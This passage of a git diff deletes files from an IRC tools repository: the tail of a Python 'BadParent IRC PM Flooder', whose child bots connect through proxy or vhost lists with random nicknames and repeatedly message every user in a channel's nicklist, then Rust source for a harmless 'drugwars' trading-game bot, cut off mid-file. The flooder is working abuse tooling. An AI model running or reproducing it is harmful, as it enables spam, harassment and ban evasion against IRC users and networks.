- self.event_nick_in_use()
- elif args[1] == '353':
- chan = args[4]
- if ' :' in data:
- names = data.split(' :')[1].split()
- elif ' *' in data:
- names = data.split(' *')[1].split()
- elif ' =' in data:
- names = data.split(' =')[1].split()
- else:
- names = data.split(chan)[1].split()
- self.event_names(chan, names)
- elif args[1] == '366':
- chan = args[3]
- self.event_end_of_names(chan)
- elif args[1] == 'JOIN':
- nick = args[0].split('!')[0][1:]
- chan = args[2][1:]
- self.event_join(nick, chan)
- elif args[1] == 'KICK':
- chan = args[2]
- kicked = args[3]
- self.event_kick(nick, chan, kicked)
- elif args[1] == 'NICK':
- nick = args[0].split('!')[0][1:]
- new = args[2][1:]
- self.event_nick(nick, new)
- elif args[1] == 'QUIT' :
- nick = args[0].split('!')[0][1:]
- self.event_quit(nick)
-
- def join_channel(self, chan, key=None):
- self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
-
- def listen(self):
- while True:
- try:
- data = self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
- self.handle_events(line)
- except (UnicodeDecodeError,UnicodeEncodeError):
- pass
- except Exception as ex:
- error('Unexpected error occured.', ex)
- break
- self.event_disconnect()
-
- def raw(self, msg):
- self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
-
-
-class child:
- def __init__(self, data_line):
- self.data_line = data_line
- self.sock = None
-
- def attack(self):
- while True:
- try:
- if not Parent.nicklist:
- error('Nicklist has become empty!')
- break
- for name in Parent.nicklist:
- self.sendmsg(name, unicode())
- time.sleep(config.throttle.pm)
- except:
- break
-
- def connect(self):
- try:
- self.create_socket()
- self.sock.connect((config.connection.server, config.connection.port))
- self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
- self.raw('NICK ' + random_str(random.randint(4,7)))
- except socket.error:
- self.sock.close()
- else:
- self.listen()
-
- def create_socket(self):
- family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
- if pargs.proxy:
- proxy_server, proxy_port = self.data_line.split(':')
- self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
- self.sock.setblocking(0)
- self.sock.settimeout(config.throttle.timeout)
- self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
- elif pargs.vhost:
- self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
- self.sock.bind((self.data_line, 0))
- if config.connection.ssl:
- self.sock = ssl.wrap_socket(self.sock)
-
- def listen(self):
- while True:
- try:
- data = self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
- args = data.split()
- if data.startswith('ERROR :Closing Link:'):
- raise Exception('Connection has closed.')
- elif args[0] == 'PING':
- self.raw('PONG ' + args[1][1:])
- elif args[1] == '001':
- alert(f'Successful connection. ({self.data_line})')
- threading.Thread(target=self.attack).start()
- elif args[1] == '401':
- nick = args[3]
- self.event_bad_nick()
- elif args[1] == '433':
- self.raw('NICK ' + random_str(random.randint(4,7)))
- elif args[1] == '486':
- nick = args[-1:]
- self.event_bad_nick(nick)
- elif args[1] == '716':
- nick = args[3]
- if nick in Parent.nicklist:
- Parent.nicklist.remove(nick)
- elif args[1] == 'NOTICE':
- if 'User does not accept private messages' in data:
- nick = args[5][1:-1]
- self.event_bad_nick(nick)
- except (UnicodeDecodeError,UnicodeEncodeError):
- pass
- except:
- break
- self.sock.close()
-
- def raw(self, msg):
- self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
- def sendmsg(self, target, msg):
- self.raw(f'PRIVMSG {target} :{msg}')
-
-
-
-def load_children():
- debug('Loading children bots...')
- for i in range(config.throttle.concurrency):
- debug('Concurrency round starting....')
- with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
- checks = {executor.submit(child(item).connect): item for item in data_lines}
- for future in concurrent.futures.as_completed(checks):
- checks[future]
- debug('Flooding is complete. (Threads still may be running!)')
-
-# Main
-print('#'*56)
-print('#{0}#'.format(''.center(54)))
-print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
-print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
-print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
-print('#{0}#'.format(''.center(54)))
-print('#'*56)
-parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
-parser.add_argument('input', help='file to scan')
-parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
-parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
-pargs = parser.parse_args()
-if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
- error_exit('Invalid arguments.')
-if pargs.proxy:
- try:
- import socks
- except ImportError:
- error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
-if not os.path.isfile(pargs.input):
- error_exit('No such input file.')
-data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
-debug(f'Loaded {len(data_lines)} lines from file.')
-random.shuffle(data_lines)
-debug('Starting parent bot connection...')
-Parent = parent()
-Parent.connect()
diff --git a/irc/bots/drugwars/.gitignore b/irc/bots/drugwars/.gitignore
@@ -1,2 +0,0 @@
-/target
-/Cargo.lock
diff --git a/irc/bots/drugwars/Cargo.toml b/irc/bots/drugwars/Cargo.toml
@@ -1,6 +0,0 @@
-[workspace]
-
-members = [
- "irc",
- "drugwars"
-]
-\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/Cargo.toml b/irc/bots/drugwars/drugwars/Cargo.toml
@@ -1,14 +0,0 @@
-[package]
-name = "drugwars"
-author = "wrk"
-version = "0.1.0"
-edition = "2021"
-
-[dependencies]
-irc = { path = "../irc" }
-serde = { version = "1.0.163", features = ["derive"] }
-serde_yaml = "0.9.21"
-itertools = "0.10.5"
-rand = "0.8.5"
-rand_distr = "0.4.3"
-chrono = "0.4.24"
diff --git a/irc/bots/drugwars/drugwars/src/api.rs b/irc/bots/drugwars/drugwars/src/api.rs
@@ -1,584 +0,0 @@
-use crate::{drug_wars::DrugWars, dealer::Dealer, utils::{get_flight_price, capacity_price, pretty_print_money}};
-
-impl DrugWars {
- pub fn register_dealer(&mut self, nick: &str) -> Vec<String> {
- if self.dealers.contains_key(nick) {
- return vec![format!(
- "{}: you're already registered you bloot clot donkey",
- nick
- )];
- }
-
- self.dealers.insert(nick.to_owned(), Dealer::random(self));
-
- let dealer = self.dealers.get(nick).unwrap();
- let location = self.locations.get_mut(&dealer.location).unwrap();
-
- location.blokes.insert(nick.to_owned());
-
- vec![format!("{}: get rich or die tryin", nick)]
- }
-
-
- pub fn show_page_for_nick(&self, nick: &str) -> Vec<String> {
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- let mut lines = vec![];
-
- lines.append(&mut self.render_header(nick, dealer));
- if dealer.max_width >= 110 {
- lines.append(&mut self.render_drugs_dual_columns(dealer));
- lines.append(&mut self.render_items_dual_columns(dealer));
- } else {
- lines.append(&mut self.render_drugs(dealer));
- lines.append(&mut self.render_items(dealer));
- }
-
- lines.append(&mut self.render_people(dealer));
- lines.append(&mut self.render_command_list(dealer));
-
- lines
- }
-
- pub fn set_dealer_max_width(&mut self, nick: &str, size: usize) -> Vec<String> {
- let Some(dealer) = self.get_dealer_mut(nick) else { return vec![
- format!("{}: You aren't playing yet you donkey", nick)
- ]; };
-
- dealer.max_width = size;
- vec![
- format!("{}: Changed your max width to {}", nick, size),
- "Your max width is now:".to_owned(),
- format!("├{}┤", "─".repeat(size - 2))
- ]
- }
-
- pub fn buy_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
- let drug_str = drug_str.to_lowercase();
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let matching_drugs = self
- .drugs
- .iter()
- .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
- .collect::<Vec<_>>();
-
- let len = matching_drugs.len();
-
- if len < 1 {
- return vec![format!("{}: Couldn't find your requested drug", nick)];
- }
- if len > 1 {
- return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
- }
-
- let (drug_name, _) = matching_drugs[0];
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- if !location.drug_market.contains_key(drug_name) {
- return vec![format!(
- "{}: There isn't any {} on the market today.",
- nick,
- drug_name
- )];
- }
-
- if dealer.get_total_drugs_local() + amount > dealer.capacity {
- return vec![
- format!("{}: You don't have enough capacity", nick)
- ]
- }
-
- let drug_at_market = location.drug_market.get(drug_name).unwrap();
- if drug_at_market.supply < amount {
- return vec![format!(
- "{}: There isn't enough supply of {} today.",
- nick,
- drug_name
- )];
- }
-
- let total_price = drug_at_market.price * amount as u128;
-
- if total_price > dealer.money {
- return vec![format!("{}: Not enough money you broke ass punk", nick)];
- }
-
- self._buy_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
- }
-
- pub fn sell_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
- let drug_str = drug_str.to_lowercase();
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let matching_drugs = self
- .drugs
- .iter()
- .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
- .collect::<Vec<_>>();
-
- let len = matching_drugs.len();
-
- if len < 1 {
- return vec![format!("{}: Couldn't find your requested drug", nick)];
- }
- if len > 1 {
- return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
- }
-
- let (drug_name, _) = matching_drugs[0];
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- if !location.drug_market.contains_key(drug_name) {
- return vec![format!(
- "{}: There isn't any {} needed on the market today.",
- nick,
- drug_name
- )];
- }
-
- let drug_at_market = location.drug_market.get(drug_name).unwrap();
- if drug_at_market.demand < amount {
- return vec![format!(
- "{}: There isn't enough demand of {} today.",
- nick,
- drug_name
- )];
- }
-
- let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
-
- if !owned_drugs_local.contains_key(drug_name) {
- return vec![format!(
- "{}: You don't have any {} here.",
- nick,
- drug_name
- )];
- }
-
- let owned_drug = owned_drugs_local.get(drug_name).unwrap();
-
- if owned_drug.amount < amount {
- return vec![format!(
- "{}: You don't have enough {} to sell.",
- nick,
- drug_name
- )];
- }
-
- self._sell_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
- }
-
-
- pub fn buy_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
- let item_str = item_str.to_lowercase();
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let matching_items = self
- .items
- .iter()
- .filter(|(name, _)| name.to_lowercase().contains(&item_str))
- .collect::<Vec<_>>();
-
- let len = matching_items.len();
-
- if len < 1 {
- return vec![format!("{}: Couldn't find your requested item", nick)];
- }
- if len > 1 {
- return vec![format!("{}: The item you requested is too ambiguous.", nick)];
- }
-
- let (item_name, _) = matching_items[0];
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- if !location.item_market.contains_key(item_name) {
- return vec![format!(
- "{}: There isn't any {} on the market today.",
- nick,
- item_name
- )];
- }
-
- if dealer.get_total_items_local() + amount > dealer.capacity {
- return vec![
- format!("{}: You don't have enough capacity", nick)
- ]
- }
-
- let item_at_market = location.item_market.get(item_name).unwrap();
- if item_at_market.supply < amount {
- return vec![format!(
- "{}: There isn't enough supply of {} today.",
- nick,
- item_name
- )];
- }
-
- let total_price = item_at_market.price * amount as u128;
-
- if total_price > dealer.money {
- return vec![format!("{}: Not enough money you broke ass punk", nick)];
- }
-
- self._buy_item(nick, &item_name.clone(), amount, item_at_market.price)
- }
-
- pub fn sell_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
- let item_str = item_str.to_lowercase();
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let matching_items = self
- .items
- .iter()
- .filter(|(name, _)| name.to_lowercase().contains(&item_str))
- .collect::<Vec<_>>();
-
- let len = matching_items.len();
-
- if len < 1 {
- return vec![format!("{}: Couldn't find your requested item", nick)];
- }
- if len > 1 {
- return vec![format!("{}: The item you requested is too ambiguous.", nick)];
- }
-
- let (item_name, _) = matching_items[0];
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- if !location.item_market.contains_key(item_name) {
- return vec![format!(
- "{}: There isn't any {} needed on the market today.",
- nick,
- item_name
- )];
- }
-
- let item_at_market = location.item_market.get(item_name).unwrap();
- if item_at_market.demand < amount {
- return vec![format!(
- "{}: There isn't enough demand of {} today.",
- nick,
- item_name
- )];
- }
-
- let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
-
- if !owned_items_local.contains_key(item_name) {
- return vec![format!(
- "{}: You don't have any {} here.",
- nick,
- item_name
- )];
- }
-
- let owned_item = owned_items_local.get(item_name).unwrap();
-
- if owned_item.amount < amount {
- return vec![format!(
- "{}: You don't have enough {} to sell.",
- nick,
- item_name
- )];
- }
-
- self._sell_item(nick, &item_name.clone(), amount, item_at_market.price)
- }
-
- pub fn give_money(&mut self, nick: &str, amount: f64, bloke_nick: &str) -> Vec<String> {
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let Some(_) = self.get_dealer(bloke_nick) else {
- return self.dealer_not_registered(nick);
- };
-
- let money = (amount * 10000.) as u128;
-
- if dealer.money < money {
- return vec![format!("{}: Not enough money you broke ass punk", nick)];
- }
-
- self._give_money(nick, bloke_nick, money)
-
- }
-
- pub fn give_drug(&mut self, nick: &str, drug_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
- let drug_str = drug_str.to_lowercase();
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let Some(bloke) = self.get_dealer(bloke_nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if dealer.location != bloke.location {
- return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
- }
-
- let matching_drugs = self
- .drugs
- .iter()
- .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
- .collect::<Vec<_>>();
-
- let len = matching_drugs.len();
-
- if len < 1 {
- return vec![format!("{}: Couldn't find your requested drug", nick)];
- }
- if len > 1 {
- return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
- }
-
- let (drug_name, _) = matching_drugs[0];
-
- let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
-
- if !owned_drugs_local.contains_key(drug_name) {
- return vec![format!(
- "{}: You don't have any {} here.",
- nick,
- drug_name
- )];
- }
-
- let owned_drug = owned_drugs_local.get(drug_name).unwrap();
-
- if owned_drug.amount < amount {
- return vec![format!(
- "{}: You don't have enough {} to sell.",
- nick,
- drug_name
- )];
- }
-
- if bloke.get_total_drugs_local() + amount > bloke.capacity {
- return vec![format!(
- "{}: {} don't have enough capacity",
- nick,
- bloke_nick
- )];
- }
-
- self._give_drug(nick, bloke_nick, &drug_name.clone(), amount)
-
- }
-
- pub fn give_item(&mut self, nick: &str, item_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
- let item_str = item_str.to_lowercase();
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let Some(bloke) = self.get_dealer(bloke_nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if dealer.location != bloke.location {
- return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
- }
-
- let matching_items = self
- .items
- .iter()
- .filter(|(name, _)| name.to_lowercase().contains(&item_str))
- .collect::<Vec<_>>();
-
- let len = matching_items.len();
-
- if len < 1 {
- return vec![format!("{}: Couldn't find your requested item", nick)];
- }
- if len > 1 {
- return vec![format!("{}: The item you requested is too ambiguous.", nick)];
- }
-
- let (item_name, _) = matching_items[0];
-
- let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
-
- if !owned_items_local.contains_key(item_name) {
- return vec![format!(
- "{}: You don't have any {} here.",
- nick,
- item_name
- )];
- }
-
- let owned_item = owned_items_local.get(item_name).unwrap();
-
- if owned_item.amount < amount {
- return vec![format!(
- "{}: You don't have enough {} to sell.",
- nick,
- item_name
- )];
- }
-
- if bloke.get_total_items_local() + amount > bloke.capacity {
- return vec![format!(
- "{}: {} don't have enough capacity",
- nick,
- bloke_nick
- )];
- }
-
- self._give_item(nick, bloke_nick, &item_name.clone(), amount)
- }
-
- pub fn check_flight_prices(&self, nick: &str) -> Vec<String> {
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let mut lines = vec![];
- lines.push(format!("{}: Here are the flight prices:", nick));
-
- lines.append(&mut self.prices_from(&dealer.location));
-
- lines
- }
-
- pub fn fly_to(&mut self, nick: &str, destination_str: &str) -> Vec<String> {
-
- let destination_str = destination_str.to_lowercase();
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let matching_destinations = self
- .locations
- .iter()
- .filter(|(name, _)| name.to_lowercase().contains(&destination_str))
- .collect::<Vec<_>>();
-
- let len = matching_destinations.len();
-
- if len < 1 {
- return vec![format!("{}: Couldn't find your requested destination", nick)];
- }
- if len > 1 {
- return vec![format!("{}: The destination you requested is too ambiguous.", nick)];
- }
-
- let current_location = self.locations.get(&dealer.location).unwrap();
-
- let (destination_name, destination) = matching_destinations[0];
-
- let price = get_flight_price(current_location, destination);
-
- if dealer.money < price {
- return vec![format!("{}: Not enough money you broke ass punk", nick)];
- }
-
-
- self._fly_to(nick, &destination_name.clone())
- }
-
- pub fn check_capacity_price(&mut self, nick: &str, amount: usize) -> Vec<String> {
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let Some(price) = capacity_price(dealer.capacity, amount) else {
- return vec![
- format!("{}: You won't ever need that much capacity. Will you?", nick)
- ];
- };
-
- return vec![
- format!("{}: It will cost you {} to buy {} slots", nick, pretty_print_money(price), amount)
- ]
-
- }
-
- pub fn buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
-
- let Some(dealer) = self.get_dealer(nick) else {
- return self.dealer_not_registered(nick);
- };
-
- if !dealer.available() {
- return self.dealer_not_available(nick);
- }
-
- let Some(price) = capacity_price(dealer.capacity, amount) else {
- return vec![
- format!("{}: You won't ever need that much capacity. Will you?", nick)
- ];
- };
-
- if dealer.money < price {
- return vec![format!("{}: Not enough money you broke ass punk", nick)];
- }
-
- self._buy_capacity(nick, amount)
- }
-
-}
diff --git a/irc/bots/drugwars/drugwars/src/config.rs b/irc/bots/drugwars/drugwars/src/config.rs
@@ -1,24 +0,0 @@
-use std::{fs::File, io::Read};
-
-use serde::Deserialize;
-use serde_yaml::{Mapping, Sequence};
-
-#[derive(Deserialize)]
-pub struct DrugWarsConfig {
- pub settings: Mapping,
- pub locations: Sequence,
- pub drugs: Sequence,
- pub items: Mapping,
- pub messages: Mapping,
-}
-
-impl DrugWarsConfig {
- pub fn from_file(path: &str) -> std::io::Result<Self> {
- let mut file = File::open(path)?;
- let mut contents = String::new();
- file.read_to_string(&mut contents)?;
-
- let config: DrugWarsConfig = serde_yaml::from_str(&contents).unwrap();
- Ok(config)
- }
-}
diff --git a/irc/bots/drugwars/drugwars/src/dealer.rs b/irc/bots/drugwars/drugwars/src/dealer.rs
@@ -1,175 +0,0 @@
-use std::collections::HashMap;
-
-use rand::seq::IteratorRandom;
-
-use crate::{
- definitions::{DealerStatus, OwnedDrug, OwnedItem},
- drug_wars::DrugWars,
-};
-
-pub struct Dealer {
- pub money: u128,
- pub location: String,
- pub capacity: usize,
- pub owned_drugs: HashMap<String, HashMap<String, OwnedDrug>>,
- pub owned_items: HashMap<String, HashMap<String, OwnedItem>>,
- pub max_width: usize,
- pub status: DealerStatus,
-}
-
-impl Dealer {
- pub fn random(drug_wars: &DrugWars) -> Self {
- let mut rng = rand::thread_rng();
-
- let mut owned_drugs = HashMap::default();
- let mut owned_items = HashMap::default();
-
- for (name, _) in &drug_wars.locations {
- owned_drugs.insert(name.clone(), HashMap::default());
- owned_items.insert(name.clone(), HashMap::default());
- }
-
- let location_name = drug_wars.locations.keys().choose(&mut rng).unwrap();
-
- Self {
- money: 100000000000,
- location: location_name.clone(),
- capacity: 10,
- owned_drugs,
- owned_items,
- max_width: 110,
- status: DealerStatus::Available,
- }
- }
-
- pub fn available(&self) -> bool {
- self.status == DealerStatus::Available
- }
-
- pub fn get_local_drugs(&self) -> &HashMap<String, OwnedDrug> {
- self.owned_drugs.get(&self.location).unwrap()
- }
-
- pub fn get_local_items(&self) -> &HashMap<String, OwnedItem> {
- self.owned_items.get(&self.location).unwrap()
- }
-
- pub fn get_total_drugs_local(&self) -> usize {
- self.get_total_drugs_at(&self.location)
- }
-
- pub fn get_total_drugs_at(&self, location: &str) -> usize {
- self.owned_drugs
- .get(location)
- .unwrap()
- .iter()
- .map(|(_, drug)| drug.amount)
- .sum()
- }
-
- pub fn get_total_items_local(&self) -> usize {
- self.get_total_items_at(&self.location)
- }
-
- pub fn get_total_items_at(&self, location: &str) -> usize {
- self.owned_items
- .get(location)
- .unwrap()
- .iter()
- .map(|(_, drug)| drug.amount)
- .sum()
- }
-
- pub fn print_status(&self) -> &str {
- match self.status {
- DealerStatus::Available => "Available",
- DealerStatus::Flying => "Flying",
- }
- }
-
- pub fn add_drug_local(&mut self, drug_name: &str, amount: usize, bought_at: u128) {
- let location = self.location.clone();
- self.add_drug_at(&location, drug_name, amount, bought_at)
- }
-
- pub fn add_drug_at(&mut self, location: &str, drug_name: &str, amount: usize, bought_at: u128) {
- let owned_drugs = self.owned_drugs.get_mut(location).unwrap();
-
- let owned_drug = match owned_drugs.entry(drug_name.to_owned()) {
- std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
- std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedDrug {
- amount: 0,
- bought_at: 0,
- }),
- };
-
- let average_price = (owned_drug.amount as u128 * owned_drug.bought_at
- + amount as u128 * bought_at)
- / (owned_drug.amount as u128 + amount as u128);
-
- owned_drug.amount += amount;
- owned_drug.bought_at = average_price;
- }
-
- pub fn sub_drug_local(&mut self, drug_name: &str, amount: usize) {
- let location = self.location.clone();
- self.sub_drug_at(&location, drug_name, amount);
- }
-
- pub fn sub_drug_at(&mut self, location: &str, drug_name: &str, amount: usize) {
- let owned_drugs = self.owned_drugs.get_mut(location).unwrap();
-
- let owned_drug = match owned_drugs.entry(drug_name.to_owned()) {
- std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
- std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedDrug {
- amount: 0,
- bought_at: 0,
- }),
- };
-
- owned_drug.amount -= amount;
- }
-
- pub fn add_item_local(&mut self, item_name: &str, amount: usize, bought_at: u128) {
- let location = self.location.clone();
- self.add_item_at(&location, item_name, amount, bought_at)
- }
-
- pub fn add_item_at(&mut self, location: &str, item_name: &str, amount: usize, bought_at: u128) {
- let owned_items = self.owned_items.get_mut(location).unwrap();
-
- let owned_item = match owned_items.entry(item_name.to_owned()) {
- std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
- std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedItem {
- amount: 0,
- bought_at: 0,
- }),
- };
-
- let average_price = (owned_item.amount as u128 * owned_item.bought_at
- + amount as u128 * bought_at)
- / (owned_item.amount as u128 + amount as u128);
-
- owned_item.amount += amount;
- owned_item.bought_at = average_price;
- }
-
- pub fn sub_item_local(&mut self, item_name: &str, amount: usize) {
- let location = self.location.clone();
- self.sub_item_at(&location, item_name, amount);
- }
-
- pub fn sub_item_at(&mut self, location: &str, item_name: &str, amount: usize) {
- let owned_items = self.owned_items.get_mut(location).unwrap();
-
- let owned_item = match owned_items.entry(item_name.to_owned()) {
- std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
- std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedItem {
- amount: 0,
- bought_at: 0,
- }),
- };
-
- owned_item.amount -= amount;
- }
-}
diff --git a/irc/bots/drugwars/drugwars/src/definitions.rs b/irc/bots/drugwars/drugwars/src/definitions.rs
@@ -1,103 +0,0 @@
-use std::collections::{HashMap, HashSet};
-
-use chrono::NaiveDate;
-
-#[derive(Clone, Copy, Debug, Hash, PartialEq, Eq)]
-pub enum MessageKind {
- RumorUpHere,
- RumorDownHere,
- RumorUpAt,
- RumorDownAt,
- Welcome,
- PriceUp,
- PriceUpEnd,
- PriceDown,
- PriceDownEnd,
-}
-
-#[derive(Clone, Copy)]
-pub struct Drug {
- pub nominal_price: u128,
-}
-
-pub struct Weapon {
- pub nominal_price: u128,
- pub ammo: Option<String>,
- pub damage: f32,
-}
-
-pub struct Ammo {
- pub nominal_price: u128,
-}
-
-pub struct Armor {
- pub nominal_price: u128,
- pub block: f32,
-}
-
-pub struct NoScent {
- pub nominal_price: u128,
- pub capacity: usize,
-}
-
-pub enum Item {
- Weapon(Weapon),
- Ammo(Ammo),
- Armor(Armor),
- NoScent(NoScent),
-}
-
-impl Item {
- pub fn nominal_price(&self) -> u128 {
- match self {
- Item::Weapon(w) => w.nominal_price,
- Item::Ammo(am) => am.nominal_price,
- Item::Armor(ar) => ar.nominal_price,
- Item::NoScent(n) => n.nominal_price,
- }
- }
-}
-
-pub struct OwnedDrug {
- pub amount: usize,
- pub bought_at: u128,
-}
-
-pub struct MarketDrug {
- pub supply: usize,
- pub demand: usize,
- pub price: u128,
-}
-
-pub struct OwnedItem {
- pub amount: usize,
- pub bought_at: u128,
-}
-
-pub struct MarketItem {
- pub supply: usize,
- pub demand: usize,
- pub price: u128,
-}
-
-pub struct Location {
- pub lat: f32,
- pub long: f32,
- pub drug_market: HashMap<String, MarketDrug>,
- pub item_market: HashMap<String, MarketItem>,
- pub messages: Vec<String>,
- pub blokes: HashSet<String>,
-}
-
-pub struct Settings {
- pub day_duration: u32,
- pub current_day: NaiveDate,
-}
-
-
-
-#[derive(PartialEq, Eq)]
-pub enum DealerStatus {
- Available,
- Flying
-}
-\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/src/drug_wars.rs b/irc/bots/drugwars/drugwars/src/drug_wars.rs
@@ -1,553 +0,0 @@
-use std::{
- collections::{HashMap, HashSet},
- str::FromStr,
- time::SystemTime,
-};
-
-use chrono::{Duration, NaiveDate};
-use irc::Irc;
-use rand::{Rng, RngCore};
-use rand_distr::{Distribution, Normal};
-
-use crate::{
- config::DrugWarsConfig,
- dealer::Dealer,
- definitions::{
- Ammo, Armor, DealerStatus, Drug, Item, Location, MarketDrug, MarketItem, MessageKind,
- NoScent, Settings, Weapon,
- },
- utils::{capacity_price, get_flight_price, pretty_print_money},
-};
-
-pub struct DrugWars {
- pub settings: Settings,
- pub timer: SystemTime,
- pub dealers: HashMap<String, Dealer>,
- pub locations: HashMap<String, Location>,
- pub flights: HashMap<String, String>,
- pub drugs: HashMap<String, Drug>,
- pub items: HashMap<String, Item>,
- pub messages: HashMap<MessageKind, Vec<String>>,
-}
-
-impl From<DrugWarsConfig> for DrugWars {
- fn from(config: DrugWarsConfig) -> Self {
- let mut locations = HashMap::default();
- let mut drugs = HashMap::default();
- let mut items = HashMap::default();
- let mut messages = HashMap::default();
-
- for drug in config.drugs {
- let name = drug.as_mapping().unwrap()["name"].as_str().unwrap();
- let price = drug.as_mapping().unwrap()["price"].as_f64().unwrap();
- drugs.insert(
- name.to_owned(),
- Drug {
- nominal_price: (price * 10000.) as u128,
- },
- );
- }
-
- let weapons = config.items["weapons"]
- .as_sequence()
- .unwrap()
- .iter()
- .map(|value| value.as_mapping().unwrap())
- .collect::<Vec<_>>();
-
- for weapon in weapons {
- let name = weapon["name"].as_str().unwrap();
- let price = weapon["price"].as_f64().unwrap();
- let damage = weapon["damage"].as_f64().unwrap() as f32;
-
- let mut ammo = None;
-
- if weapon.contains_key("ammo") {
- ammo = Some(weapon["ammo"].as_str().unwrap().to_owned())
- }
-
- items.insert(
- name.to_owned(),
- Item::Weapon(Weapon {
- nominal_price: (price * 10000.) as u128,
- ammo,
- damage,
- }),
- );
- }
-
- let ammos = config.items["ammos"]
- .as_sequence()
- .unwrap()
- .iter()
- .map(|value| value.as_mapping().unwrap())
- .collect::<Vec<_>>();
-
- for ammo in ammos {
- let name = ammo["name"].as_str().unwrap();
- let price = ammo["price"].as_f64().unwrap();
-
- items.insert(
- name.to_owned(),
- Item::Ammo(Ammo {
- nominal_price: (price * 10000.) as u128,
- }),
- );
- }
-
- let armors = config.items["armors"]
- .as_sequence()
- .unwrap()
- .iter()
- .map(|value| value.as_mapping().unwrap())
- .collect::<Vec<_>>();
-
- for armor in armors {
- let name = armor["name"].as_str().unwrap();
- let price = armor["price"].as_f64().unwrap();
- let block = armor["block"].as_f64().unwrap() as f32;
-
- items.insert(
- name.to_owned(),
- Item::Armor(Armor {
- nominal_price: (price * 10000.) as u128,
- block,
- }),
- );
- }
-
- let no_scents = config.items["no_scents"]
- .as_sequence()
- .unwrap()
- .iter()
- .map(|value| value.as_mapping().unwrap())
- .collect::<Vec<_>>();
-
- for no_scent in no_scents {
